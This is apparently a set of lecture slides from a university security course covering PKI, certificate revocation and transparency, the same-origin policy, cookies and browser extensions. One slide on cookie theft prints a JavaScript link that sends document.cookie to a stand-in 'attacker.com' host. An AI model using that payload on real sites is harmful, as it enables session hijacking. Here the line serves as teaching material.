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Administrivia

• HW2: May 14

• Sometime during today’s class: Please do the April 30 in-class activity
if you haven’t already

• Wednesday, May 5: Aaron Alva from the FTC (not recorded)

• Monday, May 10: Ariana Mirian from UCSD “Hack for Hire: Exploring 
the Emerging Market for Account Hijacking”

• Friday, May 14: Emily McReynolds from Microsoft re: security, privacy, 
and the law
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• Single CA certifying every public key is impractical

• Instead, use a trusted root authority (e.g., Verisign)
• Everybody must know                                                                     

the root’s public key
• Instead of single cert,                                                                  

use a certificate chain
• sigVerisign(“AnotherCA”, PKAnotherCA),                                        

sigAnotherCA(“Alice”, PKA)

• Not shown in figure but important:
• Signed as part of each cert is whether                                                                       

party is a CA or not

• What happens if root authority is ever compromised?

Review: Hierarchical Approach for Certificates
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Certificate Revocation

• Revocation is very important

• Many valid reasons to revoke a certificate
• Private key corresponding to the certified public key has been 

compromised
• User stopped paying their certification fee to this CA and CA no longer 

wishes to certify them
• CA’s private key has been compromised!

• Expiration is a form of revocation, too
• Many deployed systems don’t bother with revocation
• Re-issuance of certificates is a big revenue source for certificate 

authorities
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Certificate Revocation Mechanisms

• Certificate revocation list (CRL)
• CA periodically issues a signed list of revoked certificates

• Credit card companies used to issue thick books of canceled credit card numbers

• Can issue a “delta CRL” containing only updates

• Online revocation service
• When a certificate is presented, recipient goes to a special online 

service to verify whether it is still valid
• Like a merchant dialing up the credit card processor
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Attempt to Fix CA Problems:

Certificate Transparency

• Problem: browsers will think nothing is wrong with a rogue certificate 
until revoked

• Goal: make it impossible for a CA to issue a bad certificate for a 
domain without the owner of that domain knowing

• Approach: auditable certificate logs
• Certificates published in public logs

• Public logs checked for unexpected certificates

www.certificate-transparency.org
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Attempt to Fix CA Problems:

Certificate Pinning

• Trust on first access: tells browser how to act on subsequent 
connections

• HPKP – HTTP Public Key Pinning
• Use these keys!

• HTTP response header field “Public-Key-Pins”

• HSTS – HTTP Strict Transport Security
• Only access server via HTTPS 

• HTTP response header field "Strict-Transport-Security"
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Next Major Topic!
Web+Browser Security
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Network

Big Picture: Browser and Network
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Where Does the Attacker Live?
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Mitigation: SSL/TLS 
(not covered further)

Mitigation: Browser 
security model + web 
app security
(this/next week)



Two Sides of Web Security

(1) Web browser
• Responsible for securely confining content presented by visited websites

(2) Web applications
• Online merchants, banks, blogs, Google Apps …

• Mix of server-side and client-side code
• Server-side code written in PHP, JavaScript, C++ etc.

• Client-side code written in JavaScript (… sort of)

• Many potential bugs: XSS, XSRF, SQL injection
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But at least 3 actors!
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Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages 
• Simultaneously

• Sequentially

• Safe delegation
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Browser Security Model

Goal 1: Protect local system from web attacker
→ Browser Sandbox

Goal 2: Protect/isolate web content from other web content
→ Same Origin Policy
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Browser Sandbox

Goals: Protect local system from web attacker; protect websites from 
each other

• E.g., safely execute JavaScript provided by a website

• No direct file access, limited access to OS, network, browser data, content 
from other websites

• Tabs (new: also iframes!) in their own processes

• Implementation is browser and OS specific* 
*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md
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From Chrome Bug Bounty Program

https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md


Same Origin Policy
Goal: Protect/isolate web content from other web content
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Website origin = (scheme, domain, port)

[Example from Wikipedia]



Same Origin Policy is Subtle!

• Browsers don’t (or didn’t) always get it right...

• Lots of cases to worry about it:
• DOM / HTML Elements

• Navigation

• Cookie Reading

• Cookie Writing

• Iframes vs. Scripts
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HTML + DOM + JavaScript
<html> <body>

<h1>This is the title</h1>

<div>

<p>This is a sample page.</p>

<script>alert(“Hello world”);</script>

<iframe src=“http://example.com”>

</iframe>

</div>

</body> </html>
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Same-Origin Policy: DOM

Only code from same origin can access HTML elements 
on another site (or in an iframe).
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www.bank.com

www.bank.com/ 
iframe.html

www.evil.com

www.bank.com/ 
iframe.html

www.bank.com (the parent) 
can access HTML elements in 
the iframe (and vice versa).

www.evil.com (the parent) 
cannot access HTML elements 
in the iframe (and vice versa).

<html> <body>

<iframe
src=“http://www.bank.com/iframe.html”>

</iframe>

</body> </html>

http://www.example.com/
http://www.example.com/iframe.html
http://www.evil.com/
http://www.example.com/iframe.html
http://www.example.com/
http://www.evil.com/


Browser Cookies
• HTTP is stateless protocol

• Browser cookies are used to introduce state
• Websites can store small amount of info in browser

• Used for authentication, personalization, tracking…

• Cookies are often secrets
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Browser

Server

POST login.php
username and pwd

GET restricted.html

Cookie: login_token=13579

HTTP Header: Set-cookie:
login_token=13579;
domain = (who can read) ;
expires = (when expires)



Same Origin Policy: Cookie Writing

Which cookies can be set by login.site.com?

login.site.com can set cookies for all of .site.com (domain suffix), but not for 
another site or top-level domain (TLD)
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allowed domains

login.site.com

.site.com

disallowed domains

othersite.com

.com

user.site.com

✓







✓



Problem: Who Set the Cookie?
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Browser

login.site.com

evil.site.com

cse484.site.com

Set-Cookie:
Domain: .site.com
Value: userid=alice, token=1234

Set-Cookie:
Domain: .site.com
Value: userid=bob, token=5678

Cookie: userid=bob, token=5678

Not a violation 
of the SOP!



Same-Origin Policy: Scripts

• When a website includes a script, that script runs in 
the context of the embedding website.

• If code in script sets cookie, under what origin will it be set? 

• What could possibly go wrong…?
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www.example.com

<script 

src=”http://otherdomain

.com/library.js">

</script>

The code from 
http://otherdomain.com
can access HTML elements 
and cookies on 
www.example.com.

http://www.example.com/
http://otherdomain.com/
http://www.example.com/


Foreshadowing: 
SOP Does Not Control Sending

• A webpage can send information to any site

• Can use this to send out secrets…
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Example: Cookie Theft

• Cookies often contain authentication token   
• Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
<a href="#" 
onclick="window.location='http://attacker.com/stole.cgi?cookie=’+document.cookie; return 
false;">Click here!</a>

• Aside: Cookie theft via network eavesdropping
• Cookies included in HTTP requests

• One of the reasons HTTPS is important!
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Cross-Origin Communication

• Sometimes you want to do it…

• Cross-origin network requests
• Access-Control-Allow-Origin: <list of domains>

• Unfortunately, often:

Access-Control-Allow-Origin: *

• Cross-origin client side communication
• HTML5 postMessage between frames

• Unfortunately, many bugs in how frames check sender’s origin
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What about Browser Plugins?

• Examples: Flash, Silverlight, Java, PDF reader

• Goal: enable functionality that requires transcending the 
browser sandbox

• Increases browser’s attack surface

• Good news: plugin sandboxing improving, and need for 
plugins decreasing (due to HTML5 and extensions)
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Goodbye Flash
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“As of mid-October 2020, users started being prompted by Adobe to 
uninstall Flash Player on their machines since Flash-based content will 
be blocked from running in Adobe Flash Player after the EOL Date.”
https://www.adobe.com/products/flashplayer/end-of-life.html

https://www.adobe.com/products/flashplayer/end-of-life.html


What about Browser Extensions?

• Most things you use today are probably extensions

• Examples: AdBlock, Ghostery, Mailvelope

• Goal: Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from 
malicious websites
• Privilege separation: extensions consist of multiple components with well-

defined communication

• Least privilege: extensions request permissions
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What about Browser Extensions?

• But be wary of malicious extensions: not subject to the same-origin policy – can 
inject code into any webpage!
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Extensions in flux

• Google has (attempted) to standardize how extensions work

• “Manifest v3” is the new specification
• Upends how extensions get access to pages

• Changes how they can execute code

• Generally, slow progress towards making them safer to use
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Summing up browser security

• Browsers are a critical consumer target today
• Large attack surface

• Many assets to protect

• Wide usage
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